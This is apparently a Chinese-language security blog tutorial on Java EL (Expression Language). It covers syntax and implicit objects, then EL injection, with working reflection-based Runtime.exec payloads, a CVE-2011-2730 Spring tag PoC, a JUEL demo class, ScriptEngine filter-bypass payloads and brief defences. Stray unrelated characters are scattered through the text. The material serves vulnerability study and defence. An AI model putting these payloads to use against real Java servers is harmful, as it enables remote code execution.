0x01 EL簡介
EL(Expression Language) 是為了使JSP寫起來更加簡單。表達式語言的靈感來自于 ECMAScript 和 XPath 表達式語言寝杖,它提供了在 JSP 中簡化表達式的方法型豁,讓Jsp的代碼更加簡化僵蛛。
EL表達式主要功能如下:
獲取數(shù)據(jù):EL表達式主要用于替換JSP頁面中的腳本表達式尚蝌,以從各種類型的Web域中檢索Java對象、獲取數(shù)據(jù)(某個Web域中的對象充尉,訪問JavaBean的屬性飘言、訪問List集合、訪問Map集合驼侠、訪問數(shù)組)姿鸿;
執(zhí)行運算:利用EL表達式可以在JSP頁面中執(zhí)行一些基本的關(guān)系運算、邏輯運算和算術(shù)運算泪电,以在JSP頁面中完成一些簡單的邏輯運算般妙,例如${user==null}纪铺;
獲取Web開發(fā)常用對象:EL表達式定義了一些隱式對象相速,利用這些隱式對象,Web開發(fā)人員可以很輕松獲得對Web常用對象的引用鲜锚,從而獲得這些對象中的數(shù)據(jù)突诬;
調(diào)用Java方法:EL表達式允許用戶開發(fā)自定義EL函數(shù),以在JSP頁面中通過EL表達式調(diào)用Java類的方法芜繁;
0x02 基本語法
EL語法
在JSP中訪問模型對象是通過EL表達式的語法來表達旺隙。所有EL表達式的格式都是以${}表示。例如骏令,${ userinfo}代表獲取變量userinfo的值蔬捷。當EL表達式中的變量不給定范圍時,則默認在page范圍查找榔袋,然后依次在request周拐、session、application范圍查找凰兑。也可以用范圍作為前綴表示屬于哪個范圍的變量妥粟,例如:${ pageScope. userinfo}表示訪問page范圍中的userinfo變量。
簡單地說吏够,使用EL表達式語法:${EL表達式}
其中勾给,EL表達式和JSP代碼等價轉(zhuǎn)換。事實上锅知,可以將EL表達式理解為一種簡化的JSP代碼播急。
擴展JSP代碼的寫法總結(jié):
JSP表達式:<%=變量或表達式>
向瀏覽器輸出變量或表達式的計算結(jié)果。
JSP腳本:<%Java代碼%>
執(zhí)行java代碼的原理:翻譯到_jspService()方法中售睹。
JSP聲明:<%!變量或方法%>
聲明jsp的成員變量或成員方法旅择。
JSP注釋:<%!--JSP注釋--%>
用于注釋JSP代碼,不會翻譯到Java文件中侣姆,也不會執(zhí)行生真。
[ ]與.運算符
EL表達式提供.和[]兩種運算符來存取數(shù)據(jù)沉噩。
當要存取的屬性名稱中包含一些特殊字符,如.或-等并非字母或數(shù)字的符號柱蟀,就一定要使用[]川蒙。例如:${user.My-Name}應(yīng)當改為${user["My-Name"]}。
如果要動態(tài)取值時长已,就可以用[]來做畜眨,而.無法做到動態(tài)取值。例如:${sessionScope.user[data]}中data 是一個變量术瓮。
變量
EL表達式存取變量數(shù)據(jù)的方法很簡單康聂,例如:${username}。它的意思是取出某一范圍中名稱為username的變量胞四。因為我們并沒有指定哪一個范圍的username恬汁,所以它會依序從Page、Request辜伟、Session氓侧、Application范圍查找。假如途中找到username导狡,就直接回傳约巷,不再繼續(xù)找下去,但是假如全部的范圍都沒有找到時旱捧,就回傳""独郎。EL表達式的屬性如下:
屬性范圍在EL中的名稱
PagePageScope
RequestRequestScope
SessionSessionScope
ApplicationApplicationScope
JSP表達式語言定義可在表達式中使用的以下文字:
文字文字的值
Booleantrue 和 false
Integer與 Java 類似∶渡模可以包含任何整數(shù)氓癌,例如 24、-45标锄、567
Floating Point與 Java 類似顽铸。可以包含任何正的或負的浮點數(shù)料皇,例如 -1.8E-45谓松、4.567
String任何由單引號或雙引號限定的字符串。對于單引號践剂、雙引號和反斜杠鬼譬,使用反斜杠字符作為轉(zhuǎn)義序列。必須注意逊脯,如果在字符串兩端使用雙引號优质,則單引號不需要轉(zhuǎn)義。
Nullnull
操作符
JSP表達式語言提供以下操作符,其中大部分是Java中常用的操作符:
術(shù)語定義
算術(shù)型+巩螃、-(二元)演怎、*、/避乏、div爷耀、%、mod拍皮、-(一元)
邏輯型and歹叮、&&、or铆帽、雙管道符咆耿、!、not
關(guān)系型==爹橱、eq萨螺、!=、ne宅荤、<屑迂、lt浸策、>冯键、gt、<=庸汗、le惫确、>=、ge蚯舱「幕可以與其他值進行比較,或與布爾型枉昏、字符串型陈肛、整型或浮點型文字進行比較。
空empty 空操作符是前綴操作兄裂,可用于確定值是否為空句旱。
條件型A ?B :C。根據(jù) A 賦值的結(jié)果來賦值 B 或 C晰奖。
隱式對象
JSP表達式語言定義了一組隱式對象谈撒,其中許多對象在 JSP scriplet 和表達式中可用:
術(shù)語定義
pageContextJSP頁的上下文,可以用于訪問 JSP 隱式對象匾南,如請求啃匿、響應(yīng)、會話、輸出溯乒、servletContext 等夹厌。例如,${pageContext.response}為頁面的響應(yīng)對象賦值裆悄。
此外尊流,還提供幾個隱式對象,允許對以下對象進行簡易訪問:
術(shù)語定義
param將請求參數(shù)名稱映射到單個字符串參數(shù)值(通過調(diào)用 ServletRequest.getParameter (String name) 獲得)灯帮。getParameter (String) 方法返回帶有特定名稱的參數(shù)崖技。表達式${param . name}相當于 request.getParameter (name)。
paramValues將請求參數(shù)名稱映射到一個數(shù)值數(shù)組(通過調(diào)用 ServletRequest.getParameter (String name) 獲得)钟哥。它與 param 隱式對象非常類似迎献,但它檢索一個字符串數(shù)組而不是單個值。表達式?${paramvalues. name}?相當于 request.getParamterValues(name)腻贰。
header將請求頭名稱映射到單個字符串頭值(通過調(diào)用 ServletRequest.getHeader(String name) 獲得)吁恍。表達式?${header. name}相當于 request.getHeader(name)。
headerValues將請求頭名稱映射到一個數(shù)值數(shù)組(通過調(diào)用 ServletRequest.getHeaders(String) 獲得)播演。它與頭隱式對象非常類似冀瓦。表達式${headerValues. name}相當于 request.getHeaderValues(name)。
cookie將 cookie 名稱映射到單個 cookie 對象写烤。向服務(wù)器發(fā)出的客戶端請求可以獲得一個或多個 cookie翼闽。表達式${cookie. name .value}返回帶有特定名稱的第一個 cookie 值。如果請求包含多個同名的 cookie洲炊,則應(yīng)該使用${headerValues. name}表達式感局。
initParam將上下文初始化參數(shù)名稱映射到單個值(通過調(diào)用 ServletContext.getInitparameter(String name) 獲得)。
除了上述兩種類型的隱式對象之外暂衡,還有些對象允許訪問多種范圍的變量询微,如 Web 上下文、會話狂巢、請求撑毛、頁面:
術(shù)語定義
pageScope將頁面范圍的變量名稱映射到其值。例如唧领,EL 表達式可以使用${pageScope.objectName}訪問一個 JSP 中頁面范圍的對象藻雌,還可以使用${pageScope .objectName. attributeName}訪問對象的屬性。
requestScope將請求范圍的變量名稱映射到其值疹吃。該對象允許訪問請求對象的屬性蹦疑。例如,EL 表達式可以使用${requestScope. objectName}訪問一個 JSP 請求范圍的對象萨驶,還可以使用${requestScope. objectName. attributeName}訪問對象的屬性歉摧。
sessionScope將會話范圍的變量名稱映射到其值。該對象允許訪問會話對象的屬性。例如:${sessionScope. name}
applicationScope將應(yīng)用程序范圍的變量名稱映射到其值叁温。該隱式對象允許訪問應(yīng)用程序范圍的對象再悼。
pageContext對象
pageContext對象是JSP中pageContext對象的引用。通過pageContext對象膝但,您可以訪問request對象冲九。比如,訪問request對象傳入的查詢字符串跟束,就像這樣:
${pageContext.request.queryString}
Scope對象
pageScope莺奸,requestScope,sessionScope冀宴,applicationScope變量用來訪問存儲在各個作用域?qū)哟蔚淖兞俊?/p>
舉例來說灭贷,如果您需要顯式訪問在applicationScope層的box變量,可以這樣來訪問:applicationScope.box略贮。
<%pageContext.setAttribute("name","mi1k7ea_page");request.setAttribute("name","mi1k7ea_request");session.setAttribute("user","mi1k7ea_session");application.setAttribute("user","mi1k7ea_application");%>pageScope.name:${pageScope.name}</br>requestScope.name : ${requestScope.name}</br>sessionScope.user : ${sessionScope.user}</br>applicationScope.user : ${applicationScope.user}
param和paramValues對象
param和paramValues對象用來訪問參數(shù)值甚疟,通過使用request.getParameter方法和request.getParameterValues方法。
舉例來說逃延,訪問一個名為order的參數(shù)览妖,可以這樣使用表達式:${param.order},或者${param["order"]}揽祥。
接下來的例子表明了如何訪問request中的username參數(shù):
<%@pageimport="java.io.*,java.util.*"%><%Stringtitle="Accessing Request Param";%><html><head><title><%out.print(title);%></title></head><body><center><h1><%out.print(title);%></h1></center><divalign="center"><p>${param["username"]}</p></div></body></html>
param對象返回單一的字符串讽膏,而paramValues對象則返回一個字符串數(shù)組。
header和headerValues對象
header和headerValues對象用來訪問信息頭盔然,通過使用request.getHeader()方法和request.getHeaders()方法桅打。
舉例來說是嗜,要訪問一個名為user-agent的信息頭愈案,可以這樣使用表達式:${header.user-agent},或者${header["user-agent"]}鹅搪。
接下來的例子表明了如何訪問user-agent信息頭:
<%@pageimport="java.io.*,java.util.*"%><%Stringtitle="User Agent Example";%><html><head><title><%out.print(title);%></title></head><body><center><h1><%out.print(title);%></h1></center><divalign="center"><p>${header["user-agent"]}</p></div></body></html>
運行結(jié)果如下:
header對象返回單一值站绪,而headerValues則返回一個字符串數(shù)組。
EL中的函數(shù)
EL允許您在表達式中使用函數(shù)丽柿。這些函數(shù)必須被定義在自定義標簽庫中恢准。函數(shù)的使用語法如下:
${ns:func(param1, param2, ...)}
ns指的是命名空間(namespace),func指的是函數(shù)的名稱甫题,param1指的是第一個參數(shù)馁筐,param2指的是第二個參數(shù),以此類推坠非。比如敏沉,有函數(shù)fn:length,在JSTL庫中定義,可以像下面這樣來獲取一個字符串的長度:
${fn:length("Get my length")}
要使用任何標簽庫中的函數(shù)盟迟,您需要將這些庫安裝在服務(wù)器中秋泳,然后使用<taglib>標簽在JSP文件中包含這些庫。
EL表達式調(diào)用Java方法
看個例子即可攒菠。
先新建一個ELFunc類迫皱,其中定義的doSomething()函數(shù)用于給輸入的參數(shù)字符拼接".com"形成域名返回:
packageeltest;publicclassELFunc{publicstaticStringdoSomething(Stringstr){returnstr+".com";}}
接著在WEB-INF文件夾下(除lib和classess目錄外)新建test.tld文件,其中指定執(zhí)行的Java方法及其URI地址:
<?xml version="1.0" encoding="UTF-8"?><taglibversion="2.0"xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"><tlib-version>1.0</tlib-version><short-name>ELFunc</short-name><uri>http://www.mi1k7ea.com/ELFunc</uri><function><name>doSomething</name><function-class>eltest.ELFunc</function-class><function-signature>java.lang.String doSomething(java.lang.String)</function-signature></function></taglib>
JSP文件中辖众,先頭部導(dǎo)入taglib標簽庫卓起,URI為test.tld中設(shè)置的URI地址,prefix為test.tld中設(shè)置的short-name凹炸,然后直接在EL表達式中使用類名:方法名()的形式來調(diào)用該類方法即可:
<%@tagliburi="http://www.mi1k7ea.com/ELFunc"prefix="ELFunc"%>${ELFunc:doSomething("mi1k7ea")}
0x03 JSP中啟動/禁用EL表達式
全局禁用EL表達式
web.xml中進入如下配置:
<jsp-config><jsp-property-group><url-pattern>*.jsp</url-pattern><el-ignored>true</el-ignored></jsp-property-group></jsp-config>
單個文件禁用EL表達式
在JSP文件中可以有如下定義:
<%@pageisELIgnored="true"%>
該語句表示是否禁用EL表達式既绩,TRUE表示禁止,F(xiàn)ALSE表示不禁止还惠。
JSP2.0中默認的啟用EL表達式饲握。
例如如下的JSP代碼禁用EL表達式:
<%@pageisELIgnored="true"%>${pageContext.request.queryString}
0x04 EL表達式注入漏洞
EL表達式注入漏洞和SpEL、OGNL等表達式注入漏洞是一樣的漏洞原理的蚕键,即表達式外部可控導(dǎo)致攻擊者注入惡意表達式實現(xiàn)任意代碼執(zhí)行救欧。
一般的,EL表達式注入漏洞的外部可控點入口都是在Java程序代碼中锣光,即Java程序中的EL表達式內(nèi)容全部或部分是從外部獲取的笆怠。
通用PoC
//對應(yīng)于JSP頁面中的pageContext對象(注意:取的是pageContext對象)
${pageContext}
//獲取Web路徑
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件頭參數(shù)
${header}
//獲取webRoot
${applicationScope}
//執(zhí)行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
比如我們在Java程序中可以控制輸入EL表達式如下:
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
如果該EL表達式直接在JSP頁面中執(zhí)行,則觸發(fā)任意代碼執(zhí)行漏洞:
但是在實際場景中誊爹,是幾乎沒有也無法直接從外部控制JSP頁面中的EL表達式的蹬刷。而目前已知的EL表達式注入漏洞都是框架層面服務(wù)端執(zhí)行的EL表達式外部可控導(dǎo)致的。
CVE-2011-2730
命令執(zhí)行PoC如下:
<spring:messagetext="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"></spring:message>
再比如:
<%@tagliburi="http://www.springframework.org/tags"prefix="spring"%><spring:messagetext="${param.a}"></spring:message>
訪問http://localhost/XXX.jsp?a=$](https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%2FXXX.jsp%3Fa%3D%24){applicationScope}频丘。
容器第一次執(zhí)行EL表達式${param.a}獲得了我們輸入的${applicationScope}办成,然后Spring標簽獲取容器的EL表達式求值對象,把${applicationScope}再次執(zhí)行掉搂漠,形成了漏洞迂卢。
Wooyun案例
參考Wooyun鏡像上的案例:
搜狗某系統(tǒng)存在遠程EL表達式注入漏洞(命令執(zhí)行)
工商銀行某系統(tǒng)存在遠程EL表達式注入漏洞(命令執(zhí)行)
JUEL示例
下面我們直接看下在Java代碼中EL表達式注入的場景是怎么樣的。
EL曾經(jīng)是JSTL的一部分桐汤。然后而克,EL進入了JSP 2.0標準。現(xiàn)在怔毛,盡管是JSP 2.1的一部分员萍,但EL API已被分離到包javax.el中, 并且已刪除了對核心JSP類的所有依賴關(guān)系拣度。換句話說:EL已準備好在非JSP應(yīng)用程序中使用碎绎!
也就是說蜂莉,現(xiàn)在EL表達式所依賴的包javax.el等都在JUEL相關(guān)的jar包中。
JUEL(Java Unified Expression Language)是統(tǒng)一表達語言輕量而高效級的實現(xiàn)混卵,具有高性能映穗,插件式緩存,小體積幕随,支持方法調(diào)用和多參數(shù)調(diào)用蚁滋,可插拔多種特性。
更多參考官網(wǎng):http://juel.sourceforge.net/
需要的jar包:juel-api-2.2.7赘淮、juel-spi-2.2.7辕录、juel-impl-2.2.7。
Test.java梢卸,利用反射調(diào)用Runtime類方法實現(xiàn)命令執(zhí)行:
importde.odysseus.el.ExpressionFactoryImpl;importde.odysseus.el.util.SimpleContext;importjavax.el.ExpressionFactory;importjavax.el.ValueExpression;publicclassTest{publicstaticvoidmain(String[]args){ExpressionFactoryexpressionFactory=newExpressionFactoryImpl();SimpleContextsimpleContext=newSimpleContext();// failed// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";// okStringexp="${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";ValueExpressionvalueExpression=expressionFactory.createValueExpression(simpleContext,exp,String.class);System.out.println(valueExpression.getValue(simpleContext));}}
運行即觸發(fā):
0x05 繞過方法
這里針對前面在Java代碼中注入EL表達式的例子來演示走诞。其實繞過方法和SpEL表達式注入是一樣的。
利用反射機制繞過
即前面Demo的PoC蛤高,注意一點的就是這里不支持用字符串拼接的方式繞過關(guān)鍵字過濾蚣旱。
利用ScriptEngine調(diào)用JS引擎繞過
同SpEL注入中講到的:
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
0x06 防御方法
盡量不使用外部輸入的內(nèi)容作為EL表達式內(nèi)容;
若使用戴陡,則嚴格過濾EL表達式注入漏洞的payload關(guān)鍵字塞绿;
如果是排查Java程序中JUEL相關(guān)代碼,則搜索如下關(guān)鍵類方法:
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()
0x07 參考